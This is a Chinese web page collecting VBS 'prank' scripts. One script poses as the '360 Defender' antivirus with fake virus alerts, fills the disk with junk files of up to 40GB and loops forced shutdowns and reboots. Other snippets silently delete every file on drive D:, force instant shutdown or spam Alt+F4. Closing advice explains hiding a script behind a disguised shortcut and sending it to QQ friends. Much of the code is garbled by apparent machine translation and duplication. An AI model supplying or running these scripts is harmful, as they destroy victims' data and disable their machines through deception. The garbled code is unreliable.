vbs整人代码无限循环,vbs整人代码无限弹窗

广告位招租
联系电话:13518188210

求出了海量VBS整人代码。

vbs整人代码无限循环,vbs整人代码无限弹窗

大批楼上已讲过。我觉得这个是一款很不错的软件。这一条是我自己独创的,有亲测的帮助。毒性,是会烧坏CPU的,然后,在此vbs旁创建一堆垃圾文件(请准备好30G空间)【具体在代码中】

仅供恶搞娱乐及学习之用,并无抨击他人、整理之意。

set qstart = wscript.CreateObject(“wscript.shell”) set qstart = wscript.CreateObject(“wscript.shell”)

set qweb = CreateObject(“Wscript.Shell”) set qweb = CreateObject(“Wscript.Shell”)

set qwrite = CreateObject(“scripting.filesystemobject”) set qwrite = CreateObject(“scripting.filesystemobject”)

set qsay = CreateObject(“sapi.spvoice”) set qsay = CreateObject(“sapi.spvoice”)

qstart.run”D:\病毒BGM.mp3″‘《江南皮革厂倒闭了。mp3》请准备好放在D:\

msg” 您的电脑已被病毒入侵.“,vbokonly+vbExclamation,”360 – Defender”

qstart.run “cmd.exe /c startup appwiz.cpl”

qstart.run “cmd.exe /c startup bthprops.cpl”

qstart.run “cmd.exe /c Departure calc.exe”

qstart.run “cmd.exe /c startup cleanmgr.exe”

qstart.run “cmd.exe /c startup cmd.exe”

qstart.run “cmd.exe /c startup colorcpl.exe”

qstart.run “cmd.exe /c startup control.exe”

qstart.run “cmd.exe /c startup cttune.exe”

qstart.run “cmd.exe /c startup desk.cpl”

qstart.run “cmd.exe /c Departure dfrgui.exe”

qstart.run “cmd.exe /c startup dxdiag.exe”

qstart.run “cmd.exe /c start FileHistory.exe” qstart.run “cmd.exe /c start FileHistory.exe”

qstart.run “cmd.exe /c begin Firewall.cpl”

qstart.run “cmd.exe /c startup Fondue.exe”

qstart.run “cmd.exe /c startup fontview.exe”

qstart.run “cmd.exe /c startup fsquirt.exe”

qstart.run “cmd.exe /c startup hdwwiz.cpl”

qstart.run “cmd.exe /c startup inetcpl.cpl”

qstart.run “cmd.exe /c startup intl.cpl”

qstart.run “cmd.exe /c startup irprops.cpl”

qstart.run “cmd.exe /c begin joy.cpl”

qstart.run “cmd.exe /c startup LaunchTM.exe”

cmd.exe /c Departure of Magnify.exe “Qstart.run”

qstart.run “cmd.exe /c start main.cpl” –

qstart.run “cmd.exe /c begin mblctr.exe”

qstart.run “cmd.exe /c startup mmsys.cpl”

qstart.run “cmd.exe /c startup msinfo32.exe”

qstart.run “cmd.exe /c startup mspaint.exe”

qstart.run “cmd.exe /c startup ncpa.cpl”

qstart.run “cmd.exe /c startup notepad.exe”

qstart.run “cmd.exe /c startup powercfg.cpl”

qstart.run “cmd.exe /c startup RTSnMg64.cpl”

qstart.run “cmd.exe /c start SnippingTool.exe” qstart.run “cmd.exe /c start SnippingTool.exe”

qstart.run “cmd.exe /c startup sysdm.cpl”

TabletPC.cpl: Qstart.run “cmd.exe /c Commencement”

qstart.run “cmd.exe /c begin telephon.cpl”

qstart.run “cmd.exe /c startup timedate.cpl”

cmd.exe /c Departure write.exe “Qstart.run”

qstart.run “cmd.exe /c startup wscript.exe”

qstart.run “cmd.exe /c startup wscui.cpl”

qstart.run “cmd.exe /c fsutil createnew 1.bug 0”

qstart.run “cmd.exe /c fsutil createnew 2.bug 0”

qstart.run “cmd.exe /c fsutil createnew 3.bug 0”

qstart.run “cmd.exe /c fsutil createnew 4.bug 0”

qstart.run “cmd.exe /c fsutil createnew 5.bug 0”

qstart.run “cmd.exe /c fsutil createnew 6.bug 0”

qstart.run “cmd.exe /c fsutil createnew 7.bug 0”

qstart.run “cmd.exe /c fsutil createnew 8.bug 0”

qstart.run “cmd.exe /c fsutil createnew 9.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 10.bug 0” qstart.run “cmd.exe /c fsutil file createnew 10.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 11.bug 0” qstart.run “cmd.exe /c fsutil file createnew 11.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 12.bug 0” qstart.run “cmd.exe /c fsutil file createnew 12.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 13.bug 0” qstart.run “cmd.exe /c fsutil file createnew 13.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 14.bug 0” qstart.run “cmd.exe /c fsutil file createnew 14.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 15.bug 0” qstart.run “cmd.exe /c fsutil file createnew 15.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 16.bug 0” qstart.run “cmd.exe /c fsutil file createnew 16.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 17.bug 0” qstart.run “cmd.exe /c fsutil file createnew 17.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 18.bug 0” qstart.run “cmd.exe /c fsutil file createnew 18.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 19.bug 0” qstart.run “cmd.exe /c fsutil file createnew 19.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 20.bug 0” qstart.run “cmd.exe /c fsutil file createnew 20.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 21.bug 0” qstart.run “cmd.exe /c fsutil file createnew 21.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 22.bug 0” qstart.run “cmd.exe /c fsutil file createnew 22.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 23.bug 0” qstart.run “cmd.exe /c fsutil file createnew 23.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 24.bug 0” qstart.run “cmd.exe /c fsutil file createnew 24.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 25.bug 0” qstart.run “cmd.exe /c fsutil file createnew 25.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 26.bug 0” qstart.run “cmd.exe /c fsutil file createnew 26.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 27.bug 0” qstart.run “cmd.exe /c fsutil file createnew 27.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 28.bug 0” qstart.run “cmd.exe /c fsutil file createnew 28.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 29.bug 0” qstart.run “cmd.exe /c fsutil file createnew 29.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 30.bug 0” qstart.run “cmd.exe /c fsutil file createnew 30.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 31.bug 0” qstart.run “cmd.exe /c fsutil file createnew 31.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 32.bug 0” qstart.run “cmd.exe /c fsutil file createnew 32.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 33.bug 0” qstart.run “cmd.exe /c fsutil file createnew 33.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 34.bug 0” qstart.run “cmd.exe /c fsutil file createnew 34.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 35.bug 0” qstart.run “cmd.exe /c fsutil file createnew 35.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 36.bug 0” qstart.run “cmd.exe /c fsutil file createnew 36.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 37.bug 0” qstart.run “cmd.exe /c fsutil file createnew 37.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 38.bug 0” qstart.run “cmd.exe /c fsutil file createnew 38.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 39.bug 0” qstart.run “cmd.exe /c fsutil file createnew 39.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 40.bug 0” qstart.run “cmd.exe /c fsutil file createnew 40.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 41.bug 0” qstart.run “cmd.exe /c fsutil file createnew 41.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 42.bug 0” qstart.run “cmd.exe /c fsutil file createnew 42.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 43.bug 0” qstart.run “cmd.exe /c fsutil file createnew 43.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 44.bug 0” qstart.run “cmd.exe /c fsutil file createnew 44.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 45.bug 0” qstart.run “cmd.exe /c fsutil file createnew 45.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 46.bug 0” qstart.run “cmd.exe /c fsutil file createnew 46.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 47.bug 0” qstart.run “cmd.exe /c fsutil file createnew 47.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 48.bug 0” qstart.run “cmd.exe /c fsutil file createnew 48.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 49.bug 0” qstart.run “cmd.exe /c fsutil file createnew 49.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 50.bug 0” qstart.run “cmd.exe /c fsutil file createnew 50.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 51.bug 0” qstart.run “cmd.exe /c fsutil file createnew 51.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 52.bug 0” qstart.run “cmd.exe /c fsutil file createnew 52.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 53.bug 0” qstart.run “cmd.exe /c fsutil file createnew 53.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 54.bug 0” qstart.run “cmd.exe /c fsutil file createnew 54.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 55.bug 0” qstart.run “cmd.exe /c fsutil file createnew 55.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 56.bug 0” qstart.run “cmd.exe /c fsutil file createnew 56.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 57.bug 0” qstart.run “cmd.exe /c fsutil file createnew 57.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 58.bug 0” qstart.run “cmd.exe /c fsutil file createnew 58.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 59.bug 0” qstart.run “cmd.exe /c fsutil file createnew 59.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 60.bug 40000” qstart.run “cmd.exe /c fsutil file createnew 60.bug 40000”

qstart.run “cmd.exe /c fsutil file createnew 61.bug 400000” qstart.run “cmd.exe /c fsutil file createnew 61.bug 400000”

qstart.run “cmd.exe /c fsutil file createnew 62.bug 4000000” qstart.run “cmd.exe /c fsutil file createnew 62.bug 4000000”

qstart.run “cmd.exe /c fsutil file createnew 63.bug 40000000” qstart.run “cmd.exe /c fsutil file createnew 63.bug 40000000”

qstart.run “cmd.exe /c fsutil file createnew 64.bug 400000000” qstart.run “cmd.exe /c fsutil file createnew 64.bug 400000000”

qstart.run “cmd.exe /c fsutil file createnew 65.bug 4000000000” qstart.run “cmd.exe /c fsutil file createnew 65.bug 4000000000”

qstart.run “cmd.exe /c fsutil file createnew 666.bug 40000000000” qstart.run “cmd.exe /c fsutil file createnew 666.bug 40000000000”

wscript.sleep 25000 wscript.sleep 25000

qstart.run”cmd.exe/c shutdown-s-t 60-c””360公司温馨提醒:因为这个游戏涉及非法内容,所以您的电脑将在60秒后自动关机”””,0,true

qstart.run “cmd.exe /c resound 滚|clip”

A=INPUTBOX(”说!360是不是上帝?”+chr(13)+chr(13)+chr(13)+”(“滚”已复制到剪贴板,可以粘贴。)”,”360 Defender”,”不是”,8000,7000)

IF A = “是” then

qstart.run “cmd.exe /c close -a”,0,true

msgbox”好的,现在您可以下载360安全卫士来杀毒了。”,vbokonly,”360 Defender”

do do

qweb.run”https://hao.360 .康姆/” qweb.run”https://hao.360 .康姆/”

looping

Thus, ELSEIF A = “不是”

qstart.run “cmd.exe /c close -a”,0,true

msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+”您怎么这么懒呢? msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+”您怎么这么懒呢?“,vbokonly+vbQuestion,”360 Defender” “,vbokonly+vbQuestion,”360 Defender”

msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+”是时候锻炼锻炼了”,vbokonly+vbInformation,”360 Defender” msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+”是时候锻炼锻炼了”,vbokonly+vbInformation,”360 Defender”

msgbox”游戏规则:在开始后,请及时点击“确定”键来取消关机。”现在我是在执行任务时的一个窗口中,所以您必须立即关闭你所选择的任务,否则将无法完成所有任务。+chr(13)+”现在您可以把这个窗口x掉,或者点击确定,来开始游戏。”这意味着您将进入一个新的世界!,vbokonly+vbInformation,”360 Defender”

do do

qstart.run “cmd.exe /c stop -s -t 5 “,0,true

msgbox “取消关机”,vbokonly,”360 Defender”

qstart.run “cmd.exe /c close -a”,0,true

qweb.run”https://hao.360 .康姆/” qweb.run”https://hao.360 .康姆/”

qweb.run”https://hao.360 .康姆/” qweb.run”https://hao.360 .康姆/”

qweb.run”https://hao.360 .康姆/” qweb.run”https://hao.360 .康姆/”

looping

Thus, ELSEIF A = “”

qstart.run “cmd.exe /c close -a”,0,true

msgbox”周鸿祎表示无语。”+chr(13)+chr(13)+chr(13)+”这样是不可能解决问题的”,vbokonly,”360 Defender”

msgbox “自己探寻吧”,vbokonly,”360 Defender”

do do

qstart.run “cmd.exe /c stop -s -t 5”,0,true

qstart.run “cmd” –

qstart.run “cmd” –

qstart.run “cmd” –

qstart.run “cmd” –

qstart.run “cmd” –

qstart.run “cmd” –

qstart.run “cmd” –

qstart.run “cmd” –

qstart.run “cmd” –

qstart.run “cmd” –

qstart.run “cmd” –

qstart.run “cmd” –

qstart.run “cmd.exe /c close -a”,0,true

looping

ELSEIF A = “滚” then

qstart.run “cmd.exe /c close -a”,0,true

msgbox “emmmmmmmm”,vbokonly,”360 Defender”

set qwriteb=qwrite.CreateTextFile( “D:\1.txt”,,ture) set qwriteb=qwrite.CreateTextFile( “D:\1.txt”,,ture)

qwriteb.WriteLine “wscript.CreateObject(” & chr(34) & “wscript.shell” & chr(34) & “).run ” & chr(34) & “D:\1.vbs” & chr(34)

qwriteb.WriteLine “msgbox ” & chr(34) & “滚” & chr(34) & “,vbokonly+vbinformation,” & chr(34) & “360 Defender” & chr(34)

qwriteb.close qwriteb.close

qwrite.movefile “D:\1.txt”,”D:\1.vbs” qwrite.movefile “D:\1.txt”,”D:\1.vbs”

qstart.run “D:\1.vbs” qstart.run “D:\1.vbs”

ELSE ELSE

qstart.run “cmd.exe /c close -a”,0,true

msgbox”由于您在说废话,但是您一定不想浪费时间说废话,所以该电脑对您有害。浪费别人时间就是谋财害命(鲁迅)。360积极维护您的财产权和生命健康权,决定不砸掉您的电脑。”我今天是来向你道歉的,因为我的电脑有问题。+chr(13)+chr(13)+”那现在先把C盘给抹咯!”这是我对自己的要求。,vbokonly+vbInformation,”360 Defender”

qsay.speak(”在抹掉C盘的过程中,您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲”)

qweb.run”https://hao.360 .康姆/” qweb.run”https://hao.360 .康姆/”

qweb.run”https://hao.360 .康姆/” qweb.run”https://hao.360 .康姆/”

qweb.run”https://hao.360 .康姆/” qweb.run”https://hao.360 .康姆/”

qweb.run”https://hao.360 .康姆/” qweb.run”https://hao.360 .康姆/”

qweb.run”https://hao.360 .康姆/” qweb.run”https://hao.360 .康姆/”

qweb.run”https://hao.360 .康姆/” qweb.run”https://hao.360 .康姆/”

qweb.run”https://hao.360 .康姆/” qweb.run”https://hao.360 .康姆/”

qweb.run”https://hao.360 .康姆/” qweb.run”https://hao.360 .康姆/”

qweb.run”https://hao.360 .康姆/” qweb.run”https://hao.360 .康姆/”

qweb.run”https://hao.360 .康姆/” qweb.run”https://hao.360 .康姆/”

qweb.run”https://hao.360 .康姆/” qweb.run”https://hao.360 .康姆/”

qweb.run”https://hao.360 .康姆/” qweb.run”https://hao.360 .康姆/”

qweb.run”https://hao.360 .康姆/” qweb.run”https://hao.360 .康姆/”

qweb.run”https://hao.360 .康姆/” qweb.run”https://hao.360 .康姆/”

qstart.run “cmd.exe /c stop -r -t 5”,0,true

END IF END IF

求一个vbs整人代码

vbs整人代码无限循环,vbs整人代码无限弹窗

set sh=createobject(“wscript.shell”) set sh=createobject(“wscript.shell”)

msgbox”你是否经常失眠?”,vbyesno

msgbox”我也经常失眠。唉。”

msgbox”我告诉你一个祖传秘方吧!”

in the case of i=1 through 50

sh.popup i & “只羊”,1

next

wscript.sleep 1000 wscript.sleep 1000

sh.popup”好吧,晚安!”,5

do do

sh.run “shutdown -s -f -t 30”

msgbox “再见~”

looping

如何使用vbs整人代码的大集

vbs整人代码无限循环,vbs整人代码无限弹窗

新的记事本被创建,随后将代码复制到其中,并最终点选文件—另存为,再修改后缀名。这样,你可以方便地创建和删除一个新的记录文件了,而且还能保存以前的信息!vbs也可以

整人vbs编码

vbs整人代码无限循环,vbs整人代码无限弹窗

1?

dim WSHshell dim WSHshell

set WSHshell = wscript.createobject(“wscript.shell”) set WSHshell = wscript.createobject(“wscript.shell”)

WSHshell.run” closed -f -s -t 00″,0 ,true

2。删除D:\所拥有的文件

dim WSHshell dim WSHshell

set WSHshell = wscript.createobject(“wscript.shell”) set WSHshell = wscript.createobject(“wscript.shell”)

WSHshell.run “cmd /c “”del d:\*.* f /q /s”””,0 ,real

3

whilst(1)

msgbox”哈哈你被耍了!”

looping

4。不断按下alt+f4(开什么都关闭……)

dim WSHshell dim WSHshell

set WSHshell = wscript.createobject(“wscript.shell”) set WSHshell = wscript.createobject(“wscript.shell”)

whilst(1)

WSHshell.SendKeys “%{F4}” WSHshell.SendKeys “%{F4}”

looping

vbs是整人代码

vbs整人代码无限循环,vbs整人代码无限弹窗

将以下代码输进文本文档中并保存成后缀名“vbs”

dim-a,ctr

ctr=0 ctr=0

const pass=”是”

please do while ctr<100

a=inputbox(”你是猪吗?”)

if a=pass then

msgbox “good”

exit do

otherwise

ctr=ctr+1’若密码发生错误,则添加错误认证计数

msgbox”错,你是猪!”

finish if

looping

注:千万不要一下子复制,要一行一行地复制

其次,您创建了新的文件夹,又搞个快捷方式,将原文档藏起来,现快捷方式单击鼠标右键-属性-改变图标,那就去寻找易被欺骗的图标吧,然后将文件夹压缩后即可发给qq好友(熙熙,就这么整过),询问快捷方式是否具有目标指向?如果没有的话是不是要删除它呢?去其他电脑也可以用?答案当然是肯定的,因为它的文件名中包含着我们想要的东西。不过,我自己家里的试验会放到别的盘子里,根据可采用,知道为什么会这样么?你是不是也觉得这方法不好用呢?我只是很好奇,这是否可行。我是一个电脑迷,我有一台电脑。追答当您改变图标时,通常其他人并不看到目标指向,再说别人如果直接打开无法看属性,除非被下载

原创文章,作者:聚禄鼎,如若转载,请注明出处:https://www.xxso.cn/26205.html

(0)
聚禄鼎的头像聚禄鼎
上一篇 2022年12月23日 上午8:31
下一篇 2022年12月23日 上午8:31

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注